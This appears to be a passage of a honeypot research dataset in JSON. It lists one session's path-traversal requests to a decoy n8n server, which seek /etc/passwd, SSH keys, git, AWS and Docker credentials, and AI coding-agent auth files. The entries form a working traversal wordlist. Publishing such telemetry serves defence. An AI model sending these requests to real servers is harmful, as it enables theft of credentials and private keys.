{"schema_version":1,"id":"unauth-loot-list-v1","url":"https://unauth.dev/loot","json_url":"https://unauth.dev/loot.json","csv_url":"https://unauth.dev/loot.csv","license":"CC-BY 4.0","attribution":"unauth.dev","citation":"unauth.dev loot list v1, observed 2026-08-10, CC-BY 4.0","title":"2026 AI-infra loot list","published":"2026-08-12","observed_start":"2026-08-10T16:03:01Z","observed_end":"2026-08-10T16:03:12Z","duration_seconds":10.767,"persona":"fake n8n, looking like 2.34.1","session_id":"8d76571bed09ca30","n_observed":102,"n_publication_canary":1,"n_distinct_files":38,"source":{"network":"192.161.49.0/24","note":"One source. We publish the /24, not the raw IP."},"user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0","user_agent_note":"Spoofed desktop Firefox. We are not saying this was an AI agent. Traffic like this cannot tell an agent from a script.","methodology":["The decoy is a fake n8n. It never runs what the requester sends. No eval, no shell, no reading the real disk.","These are the 102 GET paths from that one session, decoded, in the order they arrived.","No repeats. Time is from the first request to the last.","At the time, 8 of 102 got a fake file. 94 got the login page. We added more fake files the next day. This list is what they asked for, not what they stole.","The JSON and CSV have one extra path that was not in the session. Skip it if you use this as a wordlist. If it shows up on our decoy, someone reused the list.","The Now column is a replay we ran locally on 11 August against the updated decoy. We did not hit the public box again."],"limits":["One session, one source, one decoy. Do not treat this as the internet.","We are not saying the requester was an AI agent. The interesting part is which files they asked for.","Asking for files is not the same as breaking in.","Palisade measured web agents following planted instructions. GreyNoise measured Ollama scanning. This is a list of paths one session asked an n8n decoy for.","We set a trap on 11 August for fake credentials used somewhere else. Nobody has tripped it. This list does not claim they did.","We have not seen this session again. Do not invent later hits."],"coverage":{"at_capture":{"answered":8,"login_page":94,"theater":"lfi-v1","note":"What the decoy actually returned during the session."},"replay_2026_08_11":{"answered":98,"directory":4,"theater":"lfi-v2","note":"Same 102 paths, replayed locally against the updated decoy. Not a live hit on the public box. We do not publish the fake file bodies."}},"watch":{"recurrence":{"count":2,"through":"2026-09-05","note":"Same 102-path fingerprint from a new source (>=20 overlapping v1 paths in one session). Original /24 and self-tests excluded."},"redeem":{"count":1,"note":"Stolen planted credential used off-box (sinkhole). Counts a honeytoken in the bytes, or SNI git/registry.10nr.es. Bare 5432 connects are noise and are not counted. Self-tests excluded."},"publication_canary_live":true,"publication_canary_note":"Live decoy answers the publication-canary path.","list_reuse":{"count":0,"note":"Sessions that requested the publication-canary path. Self-tests and the original /24 excluded."}},"prior_art":[{"who":"Palisade Research","owns":"web agents following planted instructions / phishing"},{"who":"GreyNoise","owns":"Ollama and AI-infra scanning volume"},{"who":"canary files","owns":"generic tripwire files and URLs"}],"families":[{"id":"claude","label":"Claude Code","kind":"coding-agent","n":10},{"id":"codex","label":"OpenAI Codex","kind":"coding-agent","n":2},{"id":"qwen","label":"Qwen","kind":"coding-agent","n":11},{"id":"kimi-code","label":"Kimi","kind":"coding-agent","n":8},{"id":"grok","label":"Grok","kind":"coding-agent","n":2},{"id":"hermes","label":"Hermes","kind":"coding-agent","n":3},{"id":"opencode","label":"OpenCode","kind":"coding-agent","n":8},{"id":"git","label":"Git / GitHub","kind":"classic","n":7},{"id":"npm","label":"npm","kind":"classic","n":4},{"id":"docker","label":"Docker","kind":"classic","n":7},{"id":"aws","label":"AWS","kind":"classic","n":1},{"id":"ssh","label":"SSH keys","kind":"classic","n":4},{"id":"shell","label":"Shell history / rc","kind":"classic","n":26},{"id":"app","label":"App config / source","kind":"classic","n":3},{"id":"proc","label":"procfs","kind":"classic","n":4},{"id":"unix","label":"Unix system files","kind":"classic","n":2},{"id":"publication-canary","label":"Publication canary","kind":"canary","n":1}],"paths":[{"seq":1,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","path":"/../../../../../../etc/passwd","family":"unix","root":"/etc","file":"passwd","role":"observed","theater_at_capture":"lfi-v1","theater_now":"lfi-v2"},{"seq":2,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.hermes%2Fauth.json","path":"/../../../../../../proc/self/cwd/.hermes/auth.json","family":"hermes","root":"/proc/self/cwd","file":".hermes/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":3,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.viminfo","path":"/../../../../../../root/.viminfo","family":"shell","root":"/root","file":".viminfo","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":4,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.npmrc","path":"/../../../../../../root/.npmrc","family":"npm","root":"/root","file":".npmrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":5,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.bash_history","path":"/../../../../../../root/.bash_history","family":"shell","root":"/root","file":".bash_history","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":6,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.oh-my-zsh","path":"/../../../../../../root/.oh-my-zsh","family":"shell","root":"/root","file":".oh-my-zsh","role":"observed","theater_at_capture":"login-v2","theater_now":"directory"},{"seq":7,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.git-credentials","path":"/../../../../../../root/.git-credentials","family":"git","root":"/root","file":".git-credentials","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":8,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.claude%2F.credentials.json","path":"/../../../../../../root/.claude/.credentials.json","family":"claude","root":"/root","file":".claude/.credentials.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":9,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.codex%2Fauth.json","path":"/../../../../../../root/.codex/auth.json","family":"codex","root":"/root","file":".codex/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":10,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2Fdocker-compose.yml","path":"/../../../../../../home/node/docker-compose.yml","family":"docker","root":"/home/node","file":"docker-compose.yml","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":11,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.profile","path":"/../../../../../../home/node/.profile","family":"shell","root":"/home/node","file":".profile","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":12,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.profile","path":"/../../../../../../home/n8n/.profile","family":"shell","root":"/home/n8n","file":".profile","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":13,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.zsh_history","path":"/../../../../../../root/.zsh_history","family":"shell","root":"/root","file":".zsh_history","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":14,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.config%2Fgh%2Fhosts.yml","path":"/../../../../../../root/.config/gh/hosts.yml","family":"git","root":"/root","file":".config/gh/hosts.yml","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":15,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.viminfo","path":"/../../../../../../home/node/.viminfo","family":"shell","root":"/home/node","file":".viminfo","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":16,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.config%2Fopencode%2Fopencode.json","path":"/../../../../../../home/node/.config/opencode/opencode.json","family":"opencode","root":"/home/node","file":".config/opencode/opencode.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":17,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.qwen%2Foauth_creds.json","path":"/../../../../../../root/.qwen/oauth_creds.json","family":"qwen","root":"/root","file":".qwen/oauth_creds.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":18,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.zshrc","path":"/../../../../../../proc/self/cwd/.zshrc","family":"shell","root":"/proc/self/cwd","file":".zshrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":19,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.bashrc","path":"/../../../../../../proc/self/cwd/.bashrc","family":"shell","root":"/proc/self/cwd","file":".bashrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":20,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.bash_history","path":"/../../../../../../home/node/.bash_history","family":"shell","root":"/home/node","file":".bash_history","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":21,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.qwen%2Fsettings.json","path":"/../../../../../../home/node/.qwen/settings.json","family":"qwen","root":"/home/node","file":".qwen/settings.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":22,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Fapp.py","path":"/../../../../../../proc/self/cwd/app.py","family":"app","root":"/proc/self/cwd","file":"app.py","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":23,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.config%2Fopencode%2Fopencode.json","path":"/../../../../../../proc/self/cwd/.config/opencode/opencode.json","family":"opencode","root":"/proc/self/cwd","file":".config/opencode/opencode.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":24,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.profile","path":"/../../../../../../proc/self/cwd/.profile","family":"shell","root":"/proc/self/cwd","file":".profile","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":25,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.bashrc","path":"/../../../../../../root/.bashrc","family":"shell","root":"/root","file":".bashrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":26,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.claude.json","path":"/../../../../../../root/.claude.json","family":"claude","root":"/root","file":".claude.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":27,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.claude%2Fsettings.json","path":"/../../../../../../root/.claude/settings.json","family":"claude","root":"/root","file":".claude/settings.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":28,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.kimi-code%2Fcredentials%2Fkimi-code.json","path":"/../../../../../../root/.kimi-code/credentials/kimi-code.json","family":"kimi-code","root":"/root","file":".kimi-code/credentials/kimi-code.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":29,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2Fdocker-compose.yml","path":"/../../../../../../root/docker-compose.yml","family":"docker","root":"/root","file":"docker-compose.yml","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":30,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fid_ed25519","path":"/../../../../../../root/.ssh/id_ed25519","family":"ssh","root":"/root","file":".ssh/id_ed25519","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":31,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.git%2Fconfig","path":"/../../../../../../root/.git/config","family":"git","root":"/root","file":".git/config","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":32,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.docker%2Fconfig.json","path":"/../../../../../../home/node/.docker/config.json","family":"docker","root":"/home/node","file":".docker/config.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":33,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.git-credentials","path":"/../../../../../../home/node/.git-credentials","family":"git","root":"/home/node","file":".git-credentials","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":34,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.git%2Fconfig","path":"/../../../../../../home/node/.git/config","family":"git","root":"/home/node","file":".git/config","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":35,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.qwen%2F.env","path":"/../../../../../../home/node/.qwen/.env","family":"qwen","root":"/home/node","file":".qwen/.env","role":"observed","theater_at_capture":"lfi-v1","theater_now":"lfi-v2"},{"seq":36,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.qwen%2Foauth_creds.json","path":"/../../../../../../home/n8n/.qwen/oauth_creds.json","family":"qwen","root":"/home/n8n","file":".qwen/oauth_creds.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":37,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.grok%2Fauth.json","path":"/../../../../../../proc/self/cwd/.grok/auth.json","family":"grok","root":"/proc/self/cwd","file":".grok/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":38,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.profile","path":"/../../../../../../root/.profile","family":"shell","root":"/root","file":".profile","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":39,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.config%2Fopencode%2Fopencode.json","path":"/../../../../../../root/.config/opencode/opencode.json","family":"opencode","root":"/root","file":".config/opencode/opencode.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":40,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.hermes%2Fauth.json","path":"/../../../../../../home/node/.hermes/auth.json","family":"hermes","root":"/home/node","file":".hermes/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":41,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.qwen%2Fsettings.json","path":"/../../../../../../root/.qwen/settings.json","family":"qwen","root":"/root","file":".qwen/settings.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":42,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.bash_history","path":"/../../../../../../proc/self/cwd/.bash_history","family":"shell","root":"/proc/self/cwd","file":".bash_history","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":43,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.hermes%2Fauth.json","path":"/../../../../../../root/.hermes/auth.json","family":"hermes","root":"/root","file":".hermes/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":44,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.codex%2Fauth.json","path":"/../../../../../../home/node/.codex/auth.json","family":"codex","root":"/home/node","file":".codex/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":45,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.claude%2Fsettings.json","path":"/../../../../../../home/n8n/.claude/settings.json","family":"claude","root":"/home/n8n","file":".claude/settings.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":46,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.docker%2Fconfig.json","path":"/../../../../../../home/n8n/.docker/config.json","family":"docker","root":"/home/n8n","file":".docker/config.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":47,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.npmrc","path":"/../../../../../../home/n8n/.npmrc","family":"npm","root":"/home/n8n","file":".npmrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":48,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshells","path":"/../../../../../../etc/shells","family":"unix","root":"/etc","file":"shells","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":49,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.oh-my-zsh","path":"/../../../../../../home/n8n/.oh-my-zsh","family":"shell","root":"/home/n8n","file":".oh-my-zsh","role":"observed","theater_at_capture":"login-v2","theater_now":"directory"},{"seq":50,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.zsh_history","path":"/../../../../../../proc/self/cwd/.zsh_history","family":"shell","root":"/proc/self/cwd","file":".zsh_history","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":51,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.aws%2Fcredentials","path":"/../../../../../../proc/self/cwd/.aws/credentials","family":"aws","root":"/proc/self/cwd","file":".aws/credentials","role":"observed","theater_at_capture":"lfi-v1","theater_now":"lfi-v2"},{"seq":52,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.qwen%2F.env","path":"/../../../../../../proc/self/cwd/.qwen/.env","family":"qwen","root":"/proc/self/cwd","file":".qwen/.env","role":"observed","theater_at_capture":"lfi-v1","theater_now":"lfi-v2"},{"seq":53,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.kimi-code%2Fconfig.toml","path":"/../../../../../../home/n8n/.kimi-code/config.toml","family":"kimi-code","root":"/home/n8n","file":".kimi-code/config.toml","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":54,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.docker%2Fconfig.json","path":"/../../../../../../proc/self/cwd/.docker/config.json","family":"docker","root":"/proc/self/cwd","file":".docker/config.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":55,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2Fdocker-compose.yml","path":"/../../../../../../home/n8n/docker-compose.yml","family":"docker","root":"/home/n8n","file":"docker-compose.yml","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":56,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.kimi-code%2Fcredentials%2Fkimi-code.json","path":"/../../../../../../home/node/.kimi-code/credentials/kimi-code.json","family":"kimi-code","root":"/home/node","file":".kimi-code/credentials/kimi-code.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":57,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.qwen%2F.env","path":"/../../../../../../root/.qwen/.env","family":"qwen","root":"/root","file":".qwen/.env","role":"observed","theater_at_capture":"lfi-v1","theater_now":"lfi-v2"},{"seq":58,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.docker%2Fconfig.json","path":"/../../../../../../root/.docker/config.json","family":"docker","root":"/root","file":".docker/config.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":59,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.zshrc","path":"/../../../../../../root/.zshrc","family":"shell","root":"/root","file":".zshrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":60,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.env","path":"/../../../../../../proc/self/cwd/.env","family":"app","root":"/proc/self/cwd","file":".env","role":"observed","theater_at_capture":"lfi-v1","theater_now":"lfi-v2"},{"seq":61,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.git%2Fconfig","path":"/../../../../../../home/n8n/.git/config","family":"git","root":"/home/n8n","file":".git/config","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":62,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.viminfo","path":"/../../../../../../proc/self/cwd/.viminfo","family":"shell","root":"/proc/self/cwd","file":".viminfo","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":63,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.claude.json","path":"/../../../../../../proc/self/cwd/.claude.json","family":"claude","root":"/proc/self/cwd","file":".claude.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":64,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.kimi-code%2Fcredentials%2Fkimi-code.json","path":"/../../../../../../proc/self/cwd/.kimi-code/credentials/kimi-code.json","family":"kimi-code","root":"/proc/self/cwd","file":".kimi-code/credentials/kimi-code.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":65,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.local%2Fshare%2Fopencode%2Fauth.json","path":"/../../../../../../proc/self/cwd/.local/share/opencode/auth.json","family":"opencode","root":"/proc/self/cwd","file":".local/share/opencode/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":66,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.kimi-code%2Fconfig.toml","path":"/../../../../../../home/node/.kimi-code/config.toml","family":"kimi-code","root":"/home/node","file":".kimi-code/config.toml","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":67,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fid_rsa","path":"/../../../../../../root/.ssh/id_rsa","family":"ssh","root":"/root","file":".ssh/id_rsa","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":68,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.local%2Fshare%2Fopencode%2Fauth.json","path":"/../../../../../../home/node/.local/share/opencode/auth.json","family":"opencode","root":"/home/node","file":".local/share/opencode/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":69,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.qwen%2Foauth_creds.json","path":"/../../../../../../home/node/.qwen/oauth_creds.json","family":"qwen","root":"/home/node","file":".qwen/oauth_creds.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":70,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.bashrc","path":"/../../../../../../home/n8n/.bashrc","family":"shell","root":"/home/n8n","file":".bashrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":71,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.qwen%2F.env","path":"/../../../../../../home/n8n/.qwen/.env","family":"qwen","root":"/home/n8n","file":".qwen/.env","role":"observed","theater_at_capture":"lfi-v1","theater_now":"lfi-v2"},{"seq":72,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Fconfig.py","path":"/../../../../../../proc/self/cwd/config.py","family":"app","root":"/proc/self/cwd","file":"config.py","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":73,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.ssh%2Fid_rsa","path":"/../../../../../../home/n8n/.ssh/id_rsa","family":"ssh","root":"/home/n8n","file":".ssh/id_rsa","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":74,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.claude.json","path":"/../../../../../../home/n8n/.claude.json","family":"claude","root":"/home/n8n","file":".claude.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":75,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.config%2Fgh%2Fhosts.yml","path":"/../../../../../../home/n8n/.config/gh/hosts.yml","family":"git","root":"/home/n8n","file":".config/gh/hosts.yml","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":76,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline","path":"/../../../../../../proc/self/cmdline","family":"proc","root":"/proc/self","file":"cmdline","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":77,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.zshrc","path":"/../../../../../../home/node/.zshrc","family":"shell","root":"/home/node","file":".zshrc","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":78,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.bash_history","path":"/../../../../../../home/n8n/.bash_history","family":"shell","root":"/home/n8n","file":".bash_history","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":79,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.local%2Fshare%2Fopencode%2Fauth.json","path":"/../../../../../../home/n8n/.local/share/opencode/auth.json","family":"opencode","root":"/home/n8n","file":".local/share/opencode/auth.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":80,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fnode%2F.claude%2Fsettings.json","path":"/../../../../../../home/node/.claude/settings.json","family":"claude","root":"/home/node","file":".claude/settings.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":81,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.oh-my-zsh","path":"/../../../../../../proc/self/cwd/.oh-my-zsh","family":"shell","root":"/proc/self/cwd","file":".oh-my-zsh","role":"observed","theater_at_capture":"login-v2","theater_now":"directory"},{"seq":82,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.qwen%2Foauth_creds.json","path":"/../../../../../../proc/self/cwd/.qwen/oauth_creds.json","family":"qwen","root":"/proc/self/cwd","file":".qwen/oauth_creds.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":83,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fmaps","path":"/../../../../../../proc/self/maps","family":"proc","root":"/proc/self","file":"maps","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":84,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.qwen%2Fsettings.json","path":"/../../../../../../proc/self/cwd/.qwen/settings.json","family":"qwen","root":"/proc/self/cwd","file":".qwen/settings.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":85,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd","path":"/../../../../../../proc/self/cwd","family":"proc","root":"/proc/self","file":"cwd","role":"observed","theater_at_capture":"login-v2","theater_now":"directory"},{"seq":86,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.kimi-code%2Fcredentials%2Fkimi-code.json","path":"/../../../../../../home/n8n/.kimi-code/credentials/kimi-code.json","family":"kimi-code","root":"/home/n8n","file":".kimi-code/credentials/kimi-code.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":87,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.claude%2F.credentials.json","path":"/../../../../../../home/n8n/.claude/.credentials.json","family":"claude","root":"/home/n8n","file":".claude/.credentials.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":88,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fn8n%2F.config%2Fopencode%2Fopencode.json","path":"/../../../../../../home/n8n/.config/opencode/opencode.json","family":"opencode","root":"/home/n8n","file":".config/opencode/opencode.json","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":89,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.kimi-code%2Fconfig.toml","path":"/../../../../../../proc/self/cwd/.kimi-code/config.toml","family":"kimi-code","root":"/proc/self/cwd","file":".kimi-code/config.toml","role":"observed","theater_at_capture":"login-v2","theater_now":"lfi-v2"},{"seq":90,"path_raw":"/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2F.npmrc","path":"/../../../../../../proc/self/cwd/.npmrc","family":"npm","root":"/proc/self/cwd","file":".npmrc"